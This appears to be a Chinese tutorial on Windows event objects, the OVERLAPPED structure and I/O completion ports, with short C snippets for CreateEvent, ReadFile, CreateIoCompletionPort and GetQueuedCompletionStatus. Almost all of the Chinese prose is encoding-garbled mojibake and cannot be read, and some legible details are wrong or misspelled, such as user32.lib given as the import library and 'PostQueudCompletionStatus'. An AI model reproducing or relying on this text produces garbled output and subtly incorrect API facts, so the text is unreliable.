澶囨敞錛?br> 璋冪敤CreateEvent鍑芥暟榪斿洖鐨勫彞鏌勶紝璇ュ彞鏌勫叿鏈塃VENT_ALL_ACCESS鏉冮檺鍘昏闂柊鐨勪簨浠跺璞★紝鍚屾椂瀹冨彲浠ュ湪浠諱綍鏈夋浜嬩歡瀵硅薄鍙ユ焺鐨勫嚱鏁頒腑浣跨敤銆?br> 鍦ㄨ皟鐢ㄧ殑榪囩▼涓紝鎵鏈夌嚎紼嬮兘鍙互鍦ㄤ竴涓瓑寰呭嚱鏁頒腑鎸囧畾浜嬩歡瀵硅薄鍙ユ焺銆傚綋鎸囧畾鐨勫璞＄殑鐘舵佽緗負鏈変俊鍙風姸鎬佹椂錛屽崟瀵硅薄絳夊緟鍑芥暟灝嗚繑鍥炪?br> 瀵逛簬澶氬璞＄瓑寰呭嚱鏁幫紝鍙互鎸囧畾涓轟換鎰忔垨鎵鏈夋寚瀹氱殑瀵硅薄琚疆涓烘湁淇″彿鐘舵併傚綋絳夊緟鍑芥暟榪斿洖鏃訛紝絳夊緟綰跨▼灝嗚閲婃斁鍘葷戶緇繍琛屻?br> 鍒濆鐘舵佸湪bInitialState鍙傛暟涓繘琛岃緗備嬌鐢⊿etEvent鍑芥暟灝嗕簨浠跺璞＄殑鐘舵佺疆涓烘湁淇″彿鐘舵併備嬌鐢≧esetEvent鍑芥暟灝嗕簨浠跺璞＄殑鐘舵佺疆涓烘棤淇″彿鐘舵併?br> 褰撲竴涓墜鍔ㄥ鍘熺殑浜嬩歡瀵硅薄鐨勭姸鎬佽緗負鏈変俊鍙風姸鎬佹椂錛岃瀵硅薄鐘舵佸皢涓鐩翠繚鎸佹湁淇″彿鐘舵侊紝鐩磋嚦鏄庣‘璋冪敤ResetEvent鍑芥暟灝嗗叾緗負鏃犵鍙風姸鎬併?br> 褰撲簨浠剁殑瀵硅薄琚疆涓烘湁淇″彿鐘舵佹椂錛屼換鎰忔暟閲忕殑絳夊緟涓嚎紼嬶紝浠ュ強闅忓悗寮濮嬬瓑寰呯殑綰跨▼鍧囦細琚噴鏀俱?br> 褰撲竴涓嚜鍔ㄥ鍘熺殑浜嬩歡瀵硅薄鐨勭姸鎬佽緗負鏈変俊鍙風姸鎬佹椂錛岃瀵硅薄鐘舵佸皢涓鐩翠繚鎸佹湁淇″彿鐘舵侊紝鐩磋嚦涓涓瓑寰呯嚎紼嬭閲婃斁;緋葷粺灝嗚嚜鍔ㄥ皢姝ゅ嚱鏁扮疆涓烘棤絎﹀彿鐘舵併傚鏋滄病鏈夌瓑寰呯嚎紼嬫鍦ㄧ瓑寰咃紝浜嬩歡瀵硅薄鐨勭姸鎬佸皢淇濇寔鏈変俊鍙風姸鎬併?br> 澶氫釜榪涚▼鍙寔鏈夊悓涓涓簨浠跺璞＄殑澶氫釜鍙ユ焺錛屽彲浠ラ氳繃浣跨敤姝ゅ璞℃潵瀹炵幇榪涚▼闂寸殑鍚屾銆備笅闈㈢殑瀵硅薄鍏變韓鏈哄埗鏄彲琛岀殑錛?br> ·鍦–reateEvent鍑芥暟涓紝lpEventAttributes鍙傛暟鎸囧畾鍙ユ焺鍙緇ф壙鏃訛紝閫氳繃CreateProcess鍑芥暟鍒涘緩鐨勫瓙榪涚▼緇ф壙鐨勪簨浠跺璞″彞鏌勩?br> ·涓涓繘紼嬪彲浠ュ湪DuplicateHandle鍑芥暟涓寚瀹氫簨浠跺璞″彞鏌勶紝浠庤岃幏寰椾竴涓鍒剁殑鍙ユ焺錛屾鍙ユ焺鍙互琚叾瀹冭繘紼嬩嬌鐢ㄣ?br> ·涓涓繘紼嬪彲浠ュ湪OpenEvent鎴朇reateEvent鍑芥暟涓寚瀹氫竴涓悕瀛楋紝浠庤岃幏寰椾竴涓湁鍚嶇殑浜嬩歡瀵硅薄鍙ユ焺銆?br>
浣跨敤CloseHandle鍑芥暟鍏抽棴鍙ユ焺銆傚綋榪涚▼鍋滄鏃訛紝緋葷粺灝嗚嚜鍔ㄥ叧闂彞鏌勩傚綋鏈鍚庝竴涓彞鏌勮鍏抽棴鍚庯紝浜嬩歡瀵硅薄灝嗚閿姣併?br>
浣跨敤鐜錛?br> Windows NT/2000錛氶渶瑕?.1鎴栨洿楂樼増鏈?br> Windows 95/98錛氶渶瑕乄indows 95鎴栨洿楂樼増鏈?br> 澶存枃浠訛細瀹氫箟鍦╓inbase.h錛涢渶瑕佸寘鍚?Windows.h銆?br> 瀵煎叆搴擄細user32.lib
Unicode錛氬湪Windows NT/2000涓紝浠?Unicode 鍜?ANSI 鎵ц
鍙傝冿細
Synchronization Overview, Synchronization Functions, CloseHandle, CreateProcess, DuplicateHandle, OpenEvent, ResetEvent, SECURITY_ATTRIBUTES, SetEvent, Object Names
紺轟緥浠ｇ爜錛?br> // 鍒涘緩涓涓湁鍚嶇殑錛屼笉鑳借緇ф壙鐨勶紝鎵嬪姩澶嶅師錛屽垵濮嬬姸鎬佹槸鏃犱俊鍙風姸鎬佺殑浜嬩歡瀵硅薄
Handle h = CreateEvent(NULL,TRUE,FALSE,“MyEvent”);
]]>
浜?OVERLAPPED鏁版嵁緇撴瀯
涓?瀹屾垚绔彛鐨勫唴閮ㄦ満鍒?br> 1銆佸垱寤哄畬鎴愮鍙?br> 2銆佸畬鎴愮鍙ｇ嚎紼嬬殑宸ヤ綔鍘熺悊
3銆?nbsp;綰跨▼闂存暟鎹紶閫?br> 4銆佺嚎紼嬬殑瀹夊叏閫鍑?br>
涓 鍩烘湰姒傚康
璁懼---windows鎿嶄綔緋葷粺涓婂厑璁擱氫俊鐨勪換浣曚笢瑗匡紝姣斿鏂囦歡銆佺洰褰曘佷覆琛屽彛銆佸茍琛屽彛銆侀偖浠舵Ы銆佸懡鍚嶇閬撱佹棤鍚嶇閬撱佸鎺ュ瓧銆佹帶鍒跺彴銆侀昏緫紓佺洏銆佺墿鐞嗙鐩樼瓑銆傜粷澶у鏁頒笌璁懼鎵撲氦閬撶殑鍑芥暟閮芥槸CreateFile/ReadFile/WriteFile絳夈傛墍浠ユ垜浠笉鑳界湅鍒?*File鍑芥暟灝卞彧鎯沖埌鏂囦歡璁懼銆?br> 涓庤澶囬氫俊鏈変袱縐嶆柟寮忥紝鍚屾鏂瑰紡鍜屽紓姝ユ柟寮忋傚悓姝ユ柟寮忎笅錛屽綋璋冪敤ReadFile鍑芥暟鏃訛紝鍑芥暟浼氱瓑寰呯郴緇熸墽琛屽畬鎵瑕佹眰鐨勫伐浣滐紝鐒跺悗鎵嶈繑鍥烇紱寮傛鏂瑰紡涓嬶紝ReadFile榪欑被鍑芥暟浼氱洿鎺ヨ繑鍥烇紝緋葷粺鑷繁鍘誨畬鎴愬璁懼鐨勬搷浣滐紝鐒跺悗浠ユ煇縐嶆柟寮忛氱煡瀹屾垚鎿嶄綔銆?br> 閲嶅彔I/O----欏懼悕鎬濅箟錛屽綋浣犺皟鐢ㄤ簡鏌愪釜鍑芥暟錛堟瘮濡俁eadFile錛夊氨绔嬪埢榪斿洖鍋氳嚜宸辯殑鍏朵粬鍔ㄤ綔鐨勬椂鍊欙紝鍚屾椂緋葷粺涔熷湪瀵笽/0璁懼榪涜浣犺姹傜殑鎿嶄綔錛屽湪榪欐鏃墮棿鍐呬綘鐨勭▼搴忓拰緋葷粺鐨勫唴閮ㄥ姩浣滄槸閲嶅彔鐨勶紝鍥犳鏈夋洿濂界殑鎬ц兘銆傛墍浠ワ紝閲嶅彔I/O鏄敤浜庡紓姝ユ柟寮忎笅浣跨敤I/O璁懼鐨勩?br> 閲嶅彔I/O闇瑕佷嬌鐢ㄧ殑涓涓潪甯擱噸瑕佺殑鏁版嵁緇撴瀯OVERLAPPED銆?br> 瀹屾垚绔彛---鏄竴縐峎INDOWS鍐呮牳瀵硅薄銆傚畬鎴愮鍙ｇ敤浜庡紓姝ユ柟寮忕殑閲嶅彔I/0鎯呭喌涓嬶紝褰撶劧閲嶅彔I/O涓嶄竴瀹氶潪浣跨敤瀹屾垚绔彛涓嶅彲錛岃繕鏈夎澶囧唴鏍稿璞°佷簨浠跺璞°佸憡璀/0絳夈備絾鏄畬鎴愮鍙ｅ唴閮ㄦ彁渚涗簡綰跨▼姹犵殑綆＄悊錛屽彲浠ラ伩鍏嶅弽澶嶅垱寤虹嚎紼嬬殑寮閿錛屽悓鏃跺彲浠ユ牴鎹瓹PU鐨勪釜鏁扮伒媧葷殑鍐沖畾綰跨▼涓暟錛岃屼笖鍙互璁╁噺灝戠嚎紼嬭皟搴︾殑嬈℃暟浠庤屾彁楂樻ц兘銆?br>
浜?OVERLAPPED鏁版嵁緇撴瀯
typedef struct _OVERLAPPED {
ULONG_PTR Internal; //琚郴緇熷唴閮ㄨ祴鍊鹼紝鐢ㄦ潵琛ㄧず緋葷粺鐘舵?br> ULONG_PTR InternalHigh; // 琚郴緇熷唴閮ㄨ祴鍊鹼紝浼犺緭鐨勫瓧鑺傛暟
union {
struct {
DWORD Offset; //鍜孫ffsetHigh鍚堟垚涓涓?4浣嶇殑鏁存暟錛岀敤鏉ヨ〃紺轟粠鏂囦歡澶撮儴鐨勫灝戝瓧鑺傚紑濮?br> DWORD OffsetHigh; //鎿嶄綔錛屽鏋滀笉鏄鏂囦歡I/O鏉ユ搷浣滐紝鍒欏繀欏昏瀹氫負0
};
PVOID Pointer;
};
HANDLE hEvent; //濡傛灉涓嶄嬌鐢紝灝卞姟蹇呰涓?,鍚﹀垯璇瘋祴涓涓湁鏁堢殑Event鍙ユ焺
} OVERLAPPED, *LPOVERLAPPED;
涓嬮潰鏄紓姝ユ柟寮忎嬌鐢≧eadFile鐨勪竴涓緥瀛?br>OVERLAPPED Overlapped;
Overlapped.Offset=345;
Overlapped.OffsetHigh=0;
Overlapped.hEvent=0;
//鍋囧畾鍏朵粬鍙傛暟閮藉凡緇忚鍒濆鍖?br>ReadFile(hFile,buffer,sizeof(buffer),&dwNumBytesRead,&Overlapped);
榪欐牱灝卞畬鎴愪簡寮傛鏂瑰紡璇繪枃浠剁殑鎿嶄綔錛岀劧鍚嶳eadFile鍑芥暟榪斿洖錛岀敱鎿嶄綔緋葷粺鍋氳嚜宸辯殑浜嬫儏鍚?br>涓嬮潰浠嬬粛鍑犱釜涓嶰VERLAPPED緇撴瀯鐩稿叧鐨勫嚱鏁?br>絳夊緟閲嶅彔I/0鎿嶄綔瀹屾垚鐨勫嚱鏁?br>BOOL GetOverlappedResult (
HANDLE hFile,
LPOVERLAPPED lpOverlapped,//鎺ュ彈榪斿洖鐨勯噸鍙營/0緇撴瀯
LPDWORD lpcbTransfer, //鎴愬姛浼犺緭浜嗗灝戝瓧鑺傛暟
BOOL fWait //TRUE鍙湁褰撴搷浣滃畬鎴愭墠榪斿洖錛孎ALSE鐩存帴榪斿洖錛屽鏋滄搷浣滄病鏈夊畬鎴愶紝閫氳繃璋?/鐢℅etLastError ( )鍑芥暟浼氳繑鍥濫RROR_IO_INCOMPLETE
);
瀹廐asOverlappedIoCompleted鍙互甯姪鎴戜滑嫻嬭瘯閲嶅彔I/0鎿嶄綔鏄惁瀹屾垚錛岃瀹忓OVERLAPPED緇撴瀯鐨処nternal鎴愬憳榪涜浜嗘祴璇曪紝鏌ョ湅鏄惁絳変簬STATUS_PENDING鍊箋?br>
涓?瀹屾垚绔彛鐨勫唴閮ㄦ満鍒?br> 1銆佸垱寤哄畬鎴愮鍙?br> 瀹屾垚绔彛鏄竴涓唴鏍稿璞★紝浣跨敤鏃朵粬鎬繪槸瑕佸拰鑷沖皯涓涓湁鏁堢殑璁懼鍙ユ焺榪涜鍏寵仈錛屽畬鎴愮鍙ｆ槸涓涓鏉傜殑鍐呮牳瀵硅薄錛屽垱寤哄畠鐨勫嚱鏁版槸錛?br>HANDLE CreateIoCompletionPort(
IN HANDLE FileHandle,
IN HANDLE ExistingCompletionPort,
IN ULONG_PTR CompletionKey,
IN DWORD NumberOfConcurrentThreads
);
閫氬父鍒涘緩宸ヤ綔鍒嗕袱姝ワ細
絎竴姝ワ紝鍒涘緩涓涓柊鐨勫畬鎴愮鍙ｅ唴鏍稿璞★紝鍙互浣跨敤涓嬮潰鐨勫嚱鏁幫細
HANDLE CreateNewCompletionPort(DWORD dwNumberOfThreads)
{
return CreateIoCompletionPort(INVALID_HANDLE_VALUE,NULL,NULL,dwNumberOfThreads);
};
絎簩姝ワ紝灝嗗垰鍒涘緩鐨勫畬鎴愮鍙ｅ拰涓涓湁鏁堢殑璁懼鍙ユ焺鍏寵仈璧鋒潵錛屽彲浠ヤ嬌鐢ㄤ笅闈㈢殑鍑芥暟錛?br> bool AssicoateDeviceWithCompletionPort(HANDLE hCompPort,HANDLE hDevice,DWORD dwCompKey)
{
HANDLE h=CreateIoCompletionPort(hDevice,hCompPort,dwCompKey,0);
return h==hCompPort;
};
璇存槑
1錛?nbsp; CreateIoCompletionPort鍑芥暟涔熷彲浠ヤ竴嬈℃х殑鏃㈠垱寤哄畬鎴愮鍙ｅ璞★紝鍙堝叧鑱斿埌涓涓湁鏁堢殑璁懼鍙ユ焺
2錛?nbsp; CompletionKey鏄竴涓彲浠ヨ嚜宸卞畾涔夌殑鍙傛暟錛屾垜浠彲浠ユ妸涓涓粨鏋勭殑鍦板潃璧嬬粰瀹冿紝鐒跺悗鍦ㄥ悎閫傜殑鏃跺欏彇鍑烘潵浣跨敤錛屾渶濂借淇濊瘉緇撴瀯閲岄潰鐨勫唴瀛樹笉鏄垎閰嶅湪鏍堜笂錛岄櫎闈炰綘鏈夊崄鍒嗙殑鎶婃彙鍐呭瓨浼氫繚鐣欏埌浣犺浣跨敤鐨勯偅涓鍒匯?br>3錛?nbsp; NumberOfConcurrentThreads閫氬父鐢ㄦ潵鎸囧畾瑕佸厑璁稿悓鏃惰繍琛岀殑鐨勭嚎紼嬬殑鏈澶т釜鏁般傞氬父鎴戜滑鎸囧畾涓?錛岃繖鏍風郴緇熶細鏍規(guī)嵁CPU鐨勪釜鏁版潵鑷姩紜畾銆?br>鍒涘緩鍜屽叧鑱旂殑鍔ㄤ綔瀹屾垚鍚庯紝緋葷粺浼氬皢瀹屾垚绔彛鍏寵仈鐨勮澶囧彞鏌勩佸畬鎴愰敭浣滀負涓鏉＄邯褰曞姞鍏ュ埌榪欎釜瀹屾垚绔彛鐨勮澶囧垪琛ㄤ腑銆傚鏋滀綘鏈夊涓畬鎴愮鍙ｏ紝灝變細鏈夊涓搴旂殑璁懼鍒楄〃銆傚鏋滆澶囧彞鏌勮鍏抽棴錛屽垯琛ㄤ腑鑷姩鍒犻櫎璇ョ邯褰曘?br>
2銆佸畬鎴愮鍙ｇ嚎紼嬬殑宸ヤ綔鍘熺悊
瀹屾垚绔彛鍙互甯姪鎴戜滑綆＄悊綰跨▼姹狅紝浣嗘槸綰跨▼姹犱腑鐨勭嚎紼嬮渶瑕佹垜浠嬌鐢╛beginthreadex鏉ュ垱寤猴紝鍑粈涔堥氱煡瀹屾垚绔彛綆＄悊鎴戜滑鐨勬柊綰跨▼鍛紵絳旀鍦ㄥ嚱鏁癎etQueuedCompletionStatus銆傝鍑芥暟鍘熷瀷錛?br>BOOL GetQueuedCompletionStatus(
IN HANDLE CompletionPort,
OUT LPDWORD lpNumberOfBytesTransferred,
OUT PULONG_PTR lpCompletionKey,
OUT LPOVERLAPPED *lpOverlapped,
IN DWORD dwMilliseconds
);
榪欎釜鍑芥暟璇曞浘浠庢寚瀹氱殑瀹屾垚绔彛鐨処/0瀹屾垚闃熷垪涓娊鍙栫邯褰曘傚彧鏈夊綋閲嶅彔I/O鍔ㄤ綔瀹屾垚鐨勬椂鍊欙紝瀹屾垚闃熷垪涓墠鏈夌邯褰曘傚嚒鏄皟鐢ㄨ繖涓嚱鏁扮殑綰跨▼灝嗚鏀懼叆鍒板畬鎴愮鍙ｇ殑絳夊緟綰跨▼闃熷垪涓紝鍥犳瀹屾垚绔彛灝卞彲浠ュ湪鑷繁鐨勭嚎紼嬫睜涓府鍔╂垜浠淮鎶よ繖涓嚎紼嬨?br>瀹屾垚绔彛鐨処/0瀹屾垚闃熷垪涓瓨鏀句簡褰撻噸鍙營/0瀹屾垚鐨勭粨鏋?--- 涓鏉＄邯褰曪紝璇ョ邯褰曟嫢鏈夊洓涓瓧孌碉紝鍓嶄笁欏瑰氨瀵瑰簲GetQueuedCompletionStatus鍑芥暟鐨?銆?銆?鍙傛暟錛屾渶鍚庝竴涓瓧孌墊槸閿欒淇℃伅dwError銆傛垜浠篃鍙互閫氳繃璋冪敤PostQueudCompletionStatus妯℃嫙瀹屾垚浜嗕竴涓噸鍙營/0鎿嶄綔銆?br>褰揑/0瀹屾垚闃熷垪涓嚭鐜頒簡綰綍錛屽畬鎴愮鍙ｅ皢浼氭鏌ョ瓑寰呯嚎紼嬮槦鍒楋紝璇ラ槦鍒椾腑鐨勭嚎紼嬮兘鏄氳繃璋冪敤GetQueuedCompletionStatus鍑芥暟浣胯嚜宸卞姞鍏ラ槦鍒楃殑銆傜瓑寰呯嚎紼嬮槦鍒楀緢綆鍗曪紝鍙槸淇濆瓨浜嗚繖浜涚嚎紼嬬殑ID銆傚畬鎴愮鍙ｄ細鎸夌収鍚庤繘鍏堝嚭鐨勫師鍒欏皢涓涓嚎紼嬮槦鍒楃殑ID鏀懼叆鍒伴噴鏀劇嚎紼嬪垪琛ㄤ腑錛屽悓鏃惰綰跨▼灝嗕粠絳夊緟GetQueuedCompletionStatus鍑芥暟榪斿洖鐨勭潯鐪犵姸鎬佷腑鍙樹負鍙皟搴︾姸鎬佺瓑寰匔PU鐨勮皟搴︺?br>鍩烘湰涓婃儏鍐靛氨鏄姝わ紝鎵浠ユ垜浠殑綰跨▼瑕佹兂鎴愪負瀹屾垚绔彛綆＄悊鐨勭嚎紼嬶紝灝卞繀欏昏璋冪敤
GetQueuedCompletionStatus鍑芥暟銆傚嚭浜庢ц兘鐨勪紭鍖栵紝瀹為檯涓婂畬鎴愮鍙ｈ繕緇存姢浜嗕竴涓殏鍋滅嚎紼嬪垪琛紝鍏蜂綋緇嗚妭鍙互鍙傝冦奧indows楂樼駭緙栫▼鎸囧崡銆嬶紝鎴戜滑鐜板湪鐭ラ亾鐨勭煡璇嗭紝宸茬粡瓚沖浜嗐?br>
3銆佺嚎紼嬮棿鏁版嵁浼犻?br> 綰跨▼闂翠紶閫掓暟鎹渶甯哥敤鐨勫姙娉曟槸鍦╛beginthreadex鍑芥暟涓皢鍙傛暟浼犻掔粰綰跨▼鍑芥暟錛屾垨鑰呬嬌鐢ㄥ叏灞鍙橀噺銆備絾鏄畬鎴愮鍙ｈ繕鏈夎嚜宸辯殑浼犻掓暟鎹殑鏂規(guī)硶錛岀瓟妗堝氨鍦ㄤ簬CompletionKey鍜孫VERLAPPED鍙傛暟銆?br>CompletionKey琚繚瀛樺湪瀹屾垚绔彛鐨勮澶囪〃涓紝鏄拰璁懼鍙ユ焺涓涓瀵瑰簲鐨勶紝鎴戜滑鍙互灝嗕笌璁懼鍙ユ焺鐩稿叧鐨勬暟鎹繚瀛樺埌CompletionKey涓紝鎴栬呭皢CompletionKey琛ㄧず涓虹粨鏋勬寚閽堬紝榪欐牱灝卞彲浠ヤ紶閫掓洿鍔犱赴瀵岀殑鍐呭銆傝繖浜涘唴瀹瑰彧鑳藉湪涓寮濮嬪叧鑱斿畬鎴愮鍙ｅ拰璁懼鍙ユ焺鐨勬椂鍊欏仛錛屽洜姝や笉鑳藉湪浠ュ悗鍔ㄦ佹敼鍙樸?br>
OVERLAPPED鍙傛暟鏄湪姣忔璋冪敤ReadFile榪欐牱鐨勬敮鎸侀噸鍙營/0鐨勫嚱鏁版椂浼犻掔粰瀹屾垚绔彛鐨勩傛垜浠彲浠ョ湅鍒幫紝濡傛灉鎴戜滑涓嶆槸瀵規(guī)枃浠惰澶囧仛鎿嶄綔錛岃緇撴瀯鐨勬垚鍛樺彉閲忓氨瀵規(guī)垜浠嚑涔庢鏃犱綔鐢ㄣ傛垜浠渶瑕侀檮鍔犱俊鎭紝鍙互鍒涘緩鑷繁鐨勭粨鏋勶紝鐒跺悗灝哋VERLAPPED緇撴瀯鍙橀噺浣滀負鎴戜滑緇撴瀯鍙橀噺鐨勭涓涓垚鍛橈紝鐒跺悗浼犻掔涓涓垚鍛樺彉閲忕殑鍦板潃緇橰eadFile鍑芥暟銆傚洜涓虹被鍨嬪尮閰嶏紝褰撶劧鍙互閫氳繃緙栬瘧銆傚綋GetQueuedCompletionStatus鍑芥暟榪斿洖鏃訛紝鎴戜滑鍙互鑾峰彇鍒扮涓涓垚鍛樺彉閲忕殑鍦板潃錛岀劧鍚庝竴涓畝鍗曠殑寮哄埗杞崲錛屾垜浠氨鍙互鎶婂畠褰撲綔瀹屾暣鐨勮嚜瀹氫箟緇撴瀯鐨勬寚閽堜嬌鐢紝榪欐牱灝卞彲浠ヤ紶閫掑緢澶氶檮鍔犵殑鏁版嵁浜嗐傚お濂戒簡錛佸彧鏈変竴鐐硅娉ㄦ剰錛屽鏋滆法綰跨▼浼犻掞紝璇鋒敞鎰忓皢鏁版嵁鍒嗛厤鍒板爢涓婏紝騫朵笖鎺ユ敹绔簲璇ュ皢鏁版嵁鐢ㄥ畬鍚庨噴鏀俱傛垜浠氬父闇瑕佸皢ReadFile榪欐牱鐨勫紓姝ュ嚱鏁扮殑鎵闇瑕佺殑緙撳啿鍖烘斁鍒版垜浠嚜瀹氫箟鐨勭粨鏋勪腑錛岃繖鏍峰綋GetQueuedCompletionStatus琚繑鍥炴椂錛屾垜浠殑鑷畾涔夌粨鏋勭殑緙撳啿鍖哄彉閲忎腑灝卞瓨鏀句簡I/0鎿嶄綔鐨勬暟鎹?br>CompletionKey鍜孫VERLAPPED鍙傛暟錛岄兘鍙互閫氳繃GetQueuedCompletionStatus鍑芥暟鑾峰緱銆?br> 4銆佺嚎紼嬬殑瀹夊叏閫鍑?br> 寰堝綰跨▼涓轟簡涓嶆涓嬈＄殑鎵ц寮傛鏁版嵁澶勭悊錛岄渶瑕佷嬌鐢ㄥ涓嬭鍙?br>while (true)
{
.銆傘傘傘傘傘?br> GetQueuedCompletionStatus(...);
銆傘傘傘傘傘?br>}
閭ｄ箞濡備綍閫鍑哄憿錛岀瓟妗堝氨鍦ㄤ簬涓婇潰鏇炬彁鍒扮殑PostQueudCompletionStatus鍑芥暟錛屾垜浠彲浠ョ敤瀹冨彂閫佷竴涓嚜瀹氫箟鐨勫寘鍚簡OVERLAPPED鎴愬憳鍙橀噺鐨勭粨鏋勫湴鍧錛岄噷闈㈠寘鍚竴涓姸鎬佸彉閲忥紝褰撶姸鎬佸彉閲忎負閫鍑烘爣蹇楁椂錛岀嚎紼嬪氨鎵ц娓呴櫎鍔ㄤ綔鐒跺悗閫鍑恒?
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